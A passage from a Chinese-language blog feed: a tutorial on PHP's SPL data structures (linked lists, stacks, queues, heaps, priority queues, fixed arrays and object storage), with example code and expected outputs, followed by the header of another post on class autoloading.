class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$list = new SplDoublyLinkedList();</span><br><span class="line"></span><br><span class="line">// 判断链表是否空</span><br><span class="line">var_dump($list->isEmpty()); // bool(true)</span><br><span class="line"></span><br><span class="line">// 添加新的节点到链表顶部 (top)</span><br><span class="line">$list->push('2');</span><br><span class="line">$list->push('3');</span><br><span class="line">$list->push('4');</span><br><span class="line">var_dump($list); // bottom ['2', '3', '4'] top</span><br><span class="line"></span><br><span class="line">// 在指定索引处添加新值,如果index不存在,异常</span><br><span class="line">$list->add(0, '1');</span><br><span class="line">var_dump($list); // bottom ['1', '2', '3', '4'] top</span><br><span class="line"></span><br><span class="line">// 添加新的节点到链表底部(bottom)</span><br><span class="line">$list->unshift('0');</span><br><span class="line">var_dump($list); // bottom ['0', '1', '2', '3', '4'] top</span><br><span class="line"></span><br><span class="line">// 获取节点数量</span><br><span class="line">$count = $list->count();</span><br><span class="line">var_dump($count); // int(5)</span><br><span class="line"></span><br><span class="line">// 获取顶部的节点</span><br><span class="line">$top = $list->top();</span><br><span class="line">var_dump($top); // string(1) "4"</span><br><span class="line"></span><br><span class="line">// 获取底部的节点</span><br><span class="line">$bottom = $list->bottom();</span><br><span class="line">var_dump($bottom); // string(1) "0"</span><br><span class="line"></span><br><span class="line">// 将指针重置,指向bottom节点</span><br><span class="line">$list->rewind();</span><br><span class="line"></span><br><span class="line">// 获取当前节点指针的index和value</span><br><span class="line">$key = $list->key();</span><br><span class="line">$value = $list->current();</span><br><span class="line">var_dump("key:{$key} value:{$value}"); // string(13) "key:0 value:0"</span><br><span class="line"></span><br><span class="line">// 移动指针到下一个</span><br><span class="line">$list->next();</span><br><span class="line">var_dump("key:{$list->key()} value:{$list->current()}"); // string(13) "key:1 value:1"</span><br><span class="line"></span><br><span class="line">// 移动指针到上一个</span><br><span class="line">$list->prev();</span><br><span class="line">var_dump("key:{$list->key()} value:{$list->current()}"); // string(13) "key:0 value:0"</span><br><span class="line"></span><br><span class="line">// 从top取出一个数据</span><br><span class="line">$pop = $list->pop();</span><br><span class="line">var_dump($pop); // string(1) "4"</span><br><span class="line">var_dump($list); // bottom ['0', '1', '2', '3'] top</span><br><span class="line"></span><br><span class="line">// 从bottom取出一个数据</span><br><span class="line">$shift = $list->shift();</span><br><span class="line">var_dump($shift); // string(1) "0"</span><br><span class="line">var_dump($list); // bottom ['1', '2', '3'] top</span><br><span class="line"></span><br><span class="line">// 序列化</span><br><span class="line">$serialize = $list->serialize();</span><br><span class="line">var_dump($serialize); // string(31) "i:0;:s:1:"1";:s:1:"2";:s:1:"3";"</span><br><span class="line"></span><br><span class="line">// offset</span><br><span class="line">var_dump($list->offsetExists(0)); // bool(true)</span><br><span class="line">var_dump($list->offsetGet(0));</span><br><span class="line">$list->offsetSet(2, '4');</span><br><span class="line">var_dump($list); // bottom ['1', '2', '4'] top</span><br><span class="line">$list->offsetUnset(2);</span><br><span class="line">var_dump($list); // bottom ['1', '2'] top</span><br><span class="line"></span><br><span class="line">// 验证当前节点是否有效</span><br><span class="line">$list->rewind();</span><br><span class="line">var_dump("key:{$list->key()} value:{$list->current()} valid:{$list->valid()}"); // string(21) "key:0 value:1 valid:1"</span><br><span class="line">$list->next();</span><br><span class="line">var_dump("key:{$list->key()} value:{$list->current()} valid:{$list->valid()}"); // string(21) "key:1 value:2 valid:1"</span><br><span class="line">$list->next();</span><br><span class="line">var_dump("key:{$list->key()} value:{$list->current()} valid:{$list->valid()}"); // string(19) "key:2 value: valid:"</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 迭代模式</span><br><span class="line"> * - SplDoublyLinkedList::IT_MODE_LIFO 2 (栈 后进先出)</span><br><span class="line"> * - SplDoublyLinkedList::IT_MODE_FIFO 0 (队列 先进先出 默认)</span><br><span class="line"> * 迭代行为</span><br><span class="line"> * - SplDoublyLinkedList::IT_MODE_DELETE (删除已迭代的节点元素)</span><br><span class="line"> * - SplDoublyLinkedList::IT_MODE_KEEP (保留已迭代的节点元素 默认)</span><br><span class="line"> */</span><br><span class="line">$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);</span><br><span class="line">$mode = $list->getIteratorMode();</span><br><span class="line">var_dump($mode); // 0</span><br><span class="line"></span><br><span class="line">function testMode(int $mode)</span><br><span class="line">{</span><br><span class="line"> $list = new SplDoublyLinkedList();</span><br><span class="line"> $list->setIteratorMode($mode);</span><br><span class="line"> $list->push('a');</span><br><span class="line"> $list->push('b');</span><br><span class="line"> $list->push('c');</span><br><span class="line"> for ($list->rewind();$list->valid();$list->next()) {</span><br><span class="line"> var_dump("key:{$list->key()} value:{$list->current()}");</span><br><span class="line"> }</span><br><span class="line"> var_dump($list);</span><br><span class="line"> echo PHP_EOL;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">// 先进先出,删除已迭代节点</span><br><span class="line">testMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);</span><br><span class="line">/**</span><br><span class="line"> * key:0 value:a</span><br><span class="line"> * key:0 value:b</span><br><span class="line"> * key:0 value:c</span><br><span class="line"> *</span><br><span class="line"> * list: bottom [] top</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">// 先进先出,保留已迭代节点</span><br><span class="line">testMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);</span><br><span class="line">/**</span><br><span class="line"> * key:0 value:a</span><br><span class="line"> * key:1 value:b</span><br><span class="line"> * key:2 value:c</span><br><span class="line"> *</span><br><span class="line"> * list: bottom ['a', 'b', 'c'] top</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">// 后进先出,删除已迭代节点</span><br><span class="line">testMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);</span><br><span class="line">/**</span><br><span class="line"> * key:2 value:c</span><br><span class="line"> * key:1 value:b</span><br><span class="line"> * key:0 value:a</span><br><span class="line"> *</span><br><span class="line"> * list: bottom [] top</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">// 后进先出,保留已迭代节点</span><br><span class="line">testMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);</span><br><span class="line">/**</span><br><span class="line"> * key:2 value:c</span><br><span class="line"> * key:1 value:b</span><br><span class="line"> * key:0 value:a</span><br><span class="line"> *</span><br><span class="line"> * list: bottom ['a', 'b', 'c'] top</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// 时间复杂度 O (1) 验证</span><br><span class="line">$list = new SplDoublyLinkedList();</span><br><span class="line">for ( $i = 0 ; $i < 2000001 ; $i++ ) {</span><br><span class="line"> $list->push($i);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$start = microtime(true);</span><br><span class="line">$list->offsetGet(0);</span><br><span class="line">$end = microtime(true);</span><br><span class="line">var_dump(($end - $start) * 1000); // float(0.0030994415283203125)</span><br><span class="line"></span><br><span class="line">$start = microtime(true);</span><br><span class="line">$list->offsetGet(2000000);</span><br><span class="line">$end = microtime(true);</span><br><span class="line">var_dump(($end - $start) * 1000); // float(3.4248828887939453)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="SplStack"><a href="#SplStack" class="headerlink" title="SplStack"></a>SplStack</h4><ul><li>基于SplDoublyLinkedList提供栈的主要功能</li><li>IT_MODE_LIFO | IT_MODE_KEEP 默认模式</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$list = new SplStack();</span><br><span class="line"></span><br><span class="line">$mode = $list->getIteratorMode();</span><br><span class="line">var_dump("mode: {$mode}");</span><br><span class="line"></span><br><span class="line">$list->push('a');</span><br><span class="line">$list->push('b');</span><br><span class="line">$list->push('c');</span><br><span class="line"></span><br><span class="line">$list->rewind();</span><br><span class="line">while($list->valid()){</span><br><span class="line"> var_dump("key:{$list->key()} value:{$list->current()}");</span><br><span class="line"> $list->next();</span><br><span class="line">}</span><br><span class="line">var_dump($list);</span><br><span class="line">/**</span><br><span class="line"> * mode: 6</span><br><span class="line"> *</span><br><span class="line"> * string(13) "key:2 value:c"</span><br><span class="line"> * string(13) "key:1 value:b"</span><br><span class="line"> * string(13) "key:0 value:a"</span><br><span class="line"> *</span><br><span class="line"> * list: bottom ['a', 'b', 'c'] top</span><br><span class="line"> */</span><br></pre></td></tr></table></figure><h4 id="SplQueue"><a href="#SplQueue" class="headerlink" title="SplQueue"></a>SplQueue</h4><ul><li>基于SplDoublyLinkedList提供队列的主要功能</li><li>IT_MODE_FIFO | IT_MODE_KEEP 默认模式</li><li>pop和push看上去像栈的用法,所以额外提供了dequeue和enqueue,功能一样</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$list = new SplQueue();</span><br><span class="line"></span><br><span class="line">$mode = $list->getIteratorMode();</span><br><span class="line">var_dump("mode: {$mode}");</span><br><span class="line"></span><br><span class="line">$list->enqueue('a');</span><br><span class="line">$list->enqueue('b');</span><br><span class="line">$list->enqueue('c');</span><br><span class="line"></span><br><span class="line">$list->rewind();</span><br><span class="line">while($list->valid()){</span><br><span class="line"> var_dump("key:{$list->key()} value:{$list->current()}");</span><br><span class="line"> $list->next();</span><br><span class="line">}</span><br><span class="line">var_dump($list);</span><br><span class="line">/**</span><br><span class="line"> * mode: 4</span><br><span class="line"> *</span><br><span class="line"> * string(13) "key:0 value:a"</span><br><span class="line"> * string(13) "key:1 value:b"</span><br><span class="line"> * string(13) "key:2 value:c"</span><br><span class="line"> *</span><br><span class="line"> * list: bottom ['a', 'b', 'c'] top</span><br><span class="line"> */</span><br></pre></td></tr></table></figure><h3 id="堆"><a href="#堆" class="headerlink" title="堆"></a>堆</h3><ul><li>堆是遵循堆属性的树状结构: 每个节点都大于或等于其子级,使用对堆全局的已实现的比较方法进行比较</li><li>堆(Heap)就是为了实现优先队列而设计的一种数据结构,它是通过构造二叉堆(二叉树的一种)实现。根节点最大的堆叫做最大堆或大根堆(SplMaxHeap),根节点最小的堆叫做最小堆或小根堆(SplMinHeap)。二叉堆还常用于排序(堆排序)<br>extract 出队更为友好,即始终返回优先级最高的元素,优先级相投时会以堆调整的特性返回数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class MySplHeap extends SplHeap</span><br><span class="line">{</span><br><span class="line"> /**</span><br><span class="line"> * 比较$value1是否大于$value2,如果大于为 正整数,等于为 0,小于为 负整数</span><br><span class="line"> * 通过比较结果来决定在堆中的位置</span><br><span class="line"> */</span><br><span class="line"> protected function compare($value1, $value2): int</span><br><span class="line"> {</span><br><span class="line">// return ($value1 - $value2); // 最大堆</span><br><span class="line"> return ($value2 - $value1); // 最小堆</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$heap = new MySplHeap();</span><br><span class="line"></span><br><span class="line">$heap->insert(10);</span><br><span class="line">$heap->insert(14);</span><br><span class="line">$heap->insert(25);</span><br><span class="line">$heap->insert(33);</span><br><span class="line">$heap->insert(81);</span><br><span class="line">$heap->insert(82);</span><br><span class="line">$heap->insert(99);</span><br><span class="line"></span><br><span class="line">//var_dump($heap); // [10, 14, 25, 33, 81, 82, 99]</span><br><span class="line">/**</span><br><span class="line"> * 10</span><br><span class="line"> 14 25</span><br><span class="line"> 33 81 82 99</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">// 获取节点数量</span><br><span class="line">$count = $heap->count();</span><br><span class="line">var_dump($count); // int(7)</span><br><span class="line"></span><br><span class="line">// current 始终等于 top,所以rewind没什么用</span><br><span class="line"></span><br><span class="line">// 获取顶部节点</span><br><span class="line">$top = $heap->top();</span><br><span class="line">var_dump($top); // int(10)</span><br><span class="line"></span><br><span class="line">// 获取当前节点</span><br><span class="line">$current = $heap->current();</span><br><span class="line">var_dump($current); // int(10)</span><br><span class="line"></span><br><span class="line">// 下一个节点,这里会删除掉当前节点后,指向top, 重置堆</span><br><span class="line">$heap->next();</span><br><span class="line">var_dump($heap->count()); // int(6)</span><br><span class="line">var_dump($heap->current()); // int(14)</span><br><span class="line"></span><br><span class="line">// 把最末端的一个节点置顶后,重新下序</span><br><span class="line">//var_dump($heap); // [14, 33, 25, 99, 81, 82]</span><br><span class="line"></span><br><span class="line">// 等同于 current + next,弹出top节点</span><br><span class="line">$extract = $heap->extract();</span><br><span class="line">var_dump($extract); // int(14)</span><br><span class="line"></span><br><span class="line">// var_dump($heap); // [25, 33, 82, 99, 81]</span><br><span class="line"></span><br><span class="line">while ($heap->valid()) {</span><br><span class="line"> var_dump($heap->extract());</span><br><span class="line">}</span><br><span class="line">/**</span><br><span class="line"> * int(25)</span><br><span class="line"> * int(33)</span><br><span class="line"> * int(81)</span><br><span class="line"> * int(82)</span><br><span class="line"> * int(99)</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">// 获取数量</span><br><span class="line">$count = $heap->count();</span><br><span class="line">var_dump($count); // int(0)</span><br></pre></td></tr></table></figure><h4 id="SplMaxHeap"><a href="#SplMaxHeap" class="headerlink" title="SplMaxHeap"></a>SplMaxHeap</h4><blockquote><p>最大堆</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$maxHeap = new SplMaxHeap();</span><br><span class="line"></span><br><span class="line">$maxHeap->insert(4);</span><br><span class="line">$maxHeap->insert(8);</span><br><span class="line">$maxHeap->insert(1);</span><br><span class="line">$maxHeap->insert(0);</span><br><span class="line"></span><br><span class="line">foreach ($maxHeap as $item) {</span><br><span class="line"> var_dump($item);</span><br><span class="line">}</span><br><span class="line">// 8,4,1,0</span><br></pre></td></tr></table></figure><h4 id="SplMinHeap"><a href="#SplMinHeap" class="headerlink" title="SplMinHeap"></a>SplMinHeap</h4><blockquote><p>最小堆</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$maxHeap = new SplMinHeap();</span><br><span class="line"></span><br><span class="line">$maxHeap->insert(4);</span><br><span class="line">$maxHeap->insert(8);</span><br><span class="line">$maxHeap->insert(1);</span><br><span class="line">$maxHeap->insert(0);</span><br><span class="line"></span><br><span class="line">foreach ($maxHeap as $item) {</span><br><span class="line"> var_dump($item);</span><br><span class="line">}</span><br><span class="line">// 0,1,4,8</span><br></pre></td></tr></table></figure><h4 id="SplPriorityQueue"><a href="#SplPriorityQueue" class="headerlink" title="SplPriorityQueue"></a>SplPriorityQueue</h4><blockquote><p>优先队列,通过加权对值进行排序</p></blockquote><ul><li>SplPriorityQueue是以Heap:堆数据结构实现的,默认为MaxHeap模式,即priority越大越优先出队,同时可以通过重写compare方法来使用MinHeap</li><li>当我们出队时会拿出堆顶的元素,此时堆的特性被破坏,堆会进行相应的调整至稳定态(MaxHeaporMinHeap),即会将最后一个元素替换到堆顶,然后进行稳定态验证,不符合堆特性则继续调整,或者我们就得到了一个稳定态的堆,所以当优先级相同,出队顺序并不会按照入队顺序</li><li>SplPriorityQueue的入队方法和出队方法:insert和extract</li><li>extract 出队更为友好,即始终返回优先级最高的元素,优先级相投时会以堆调整的特性返回数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$objPQ = new SplPriorityQueue();</span><br><span class="line"></span><br><span class="line">$objPQ->insert('A',3);</span><br><span class="line">$objPQ->insert('B',6);</span><br><span class="line">$objPQ->insert('C',1);</span><br><span class="line">$objPQ->insert('D',2);</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 设置元素出队模式</span><br><span class="line"> * SplPriorityQueue::EXTR_DATA 仅提取值</span><br><span class="line"> * SplPriorityQueue::EXTR_PRIORITY 仅提取优先级</span><br><span class="line"> * SplPriorityQueue::EXTR_BOTH 提取数组包含值和优先级</span><br><span class="line"> */</span><br><span class="line">$objPQ->setExtractFlags(SplPriorityQueue::EXTR_BOTH);</span><br><span class="line"></span><br><span class="line">$top = $objPQ->top();</span><br><span class="line">var_dump($top);</span><br><span class="line">//array(2) {</span><br><span class="line">// ["data"]=></span><br><span class="line">// string(1) "B"</span><br><span class="line">// ["priority"]=></span><br><span class="line">// int(6)</span><br><span class="line">//}</span><br><span class="line"></span><br><span class="line">while ($objPQ->valid()) {</span><br><span class="line"> $current = $objPQ->extract();</span><br><span class="line"> echo "data: {$current['data']} priority: {$current['priority']}" . PHP_EOL;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">//data: B priority: 6</span><br><span class="line">//data: A priority: 3</span><br><span class="line">//data: D priority: 2</span><br><span class="line">//data: C priority: 1</span><br></pre></td></tr></table></figure><h3 id="数组"><a href="#数组" class="headerlink" title="数组"></a>数组</h3><blockquote><p>splFixedArray数组相比标准的PHP数组更接近于C语言的数组,而且由于splFixedArray没有使用散列(Hash)存储方式,因此效率更高<br>SplFixedArray与普通的PHP Array不同,它是以数字为键名的固定长度的数组,它没有使用散列(Hash)存储方式,更接近于C语言的数组,因此效率更高。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 定义长度后,初始化的值为null。必须先建立固定长度的数组</span><br><span class="line">$arr = new SplFixedArray(4);</span><br><span class="line"></span><br><span class="line">$arr[0] = 'php';</span><br><span class="line">$arr[1] = 1;</span><br><span class="line">$arr[3] = 'go';</span><br><span class="line">var_dump($arr); // arr[2] 为 null</span><br><span class="line"></span><br><span class="line">foreach ($arr as $value) {</span><br><span class="line"> var_dump($value);//string(3) "php",int(1),NULL,string(2) "go"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 获取长度</span><br><span class="line">var_dump($arr->getSize()); // int(4)</span><br><span class="line"></span><br><span class="line">// 重新设置数组长度,如果是小于目前的,会直接舍弃掉数据,大于目前的,就初始化null的数据</span><br><span class="line">$arr->setSize(6);</span><br><span class="line">var_dump($arr);</span><br><span class="line"></span><br><span class="line">// 导入一个PHP普通数组来生成SplFixedArray实例</span><br><span class="line">$arr2 = ['1', '2', '5'];</span><br><span class="line">$arr2 = SplFixedArray::fromArray($arr2);</span><br><span class="line">var_dump($arr2);</span><br><span class="line">//object(SplFixedArray)#4 (3) {</span><br><span class="line">//[0]=></span><br><span class="line">// string(1) "1"</span><br><span class="line">//[1]=></span><br><span class="line">// string(1) "2"</span><br><span class="line">//[2]=></span><br><span class="line">// string(1) "5"</span><br><span class="line">//}</span><br></pre></td></tr></table></figure><h3 id="映射"><a href="#映射" class="headerlink" title="映射"></a>映射</h3><h4 id="SplObjectStorage"><a href="#SplObjectStorage" class="headerlink" title="SplObjectStorage"></a>SplObjectStorage</h4><blockquote><p>splObjectStorage类提供从对象到数据或忽略数据的对象集的映射。这种双重目的在许多情况下都是有用的,包括需要唯一地标识对象。<br>用来存储一组对象的,特别是当你需要唯一标识对象的时候<br>对象存储器</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class Person</span><br><span class="line">{</span><br><span class="line"> public string $name;</span><br><span class="line"></span><br><span class="line"> public function __construct(string $name)</span><br><span class="line"> {</span><br><span class="line"> $this->name = $name;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$zhangsan = new Person('张三');</span><br><span class="line">$lisi = new Person('李四');</span><br><span class="line">$wangwu = new Person('王五');</span><br><span class="line">$zhaoliu = new Person('赵六');</span><br><span class="line"></span><br><span class="line">$container = new SplObjectStorage();</span><br><span class="line"></span><br><span class="line">$container->attach($zhangsan);</span><br><span class="line">$container->attach($lisi);</span><br><span class="line">$container->attach($wangwu);</span><br><span class="line"></span><br><span class="line">var_dump($container->count()); // int(3)</span><br><span class="line"></span><br><span class="line">// 检查是否在对象存储空间里</span><br><span class="line">var_dump($container->contains($zhangsan)); // bool(true)</span><br><span class="line">var_dump($container->contains($zhaoliu)); // bool(false)</span><br><span class="line"></span><br><span class="line">// 删除指定对象</span><br><span class="line">$container->detach($lisi);</span><br><span class="line"></span><br><span class="line">// 添加一个 末尾</span><br><span class="line">$container->attach($zhaoliu);</span><br><span class="line"></span><br><span class="line">// 添加重复值</span><br><span class="line">$zhaoliu1 = new Person('赵六');</span><br><span class="line">$container->attach($zhaoliu1);</span><br><span class="line">$container->attach($zhaoliu); // 只有这个算重复对象,会被替代</span><br><span class="line">$container->attach(new Person('赵六'));</span><br><span class="line"></span><br><span class="line">$container->rewind();</span><br><span class="line">while ($container->valid()) {</span><br><span class="line"> /** @var Person $person */</span><br><span class="line"> $person = $container->current();</span><br><span class="line"> echo $container->getHash($person) . ":{$person->name}".PHP_EOL;</span><br><span class="line"> $container->next();</span><br><span class="line">}</span><br><span class="line">// 张三,王五,赵六,赵六,赵六</span><br><span class="line"></span><br><span class="line">var_dump($container->count()); // int(5)</span><br></pre></td></tr></table></figure><h2 id="应用场景示例"><a href="#应用场景示例" class="headerlink" title="应用场景示例"></a>应用场景示例</h2><p>// TODO 待补充</p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>PHP 类的自动加载</title>
<link href="https://blog.lihq.xyz/2022/06/30/php-classload/"/>
<id>https://blog.lihq.xyz/2022/06/30/php-classload/</id>
<published>2022-06-30T15:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
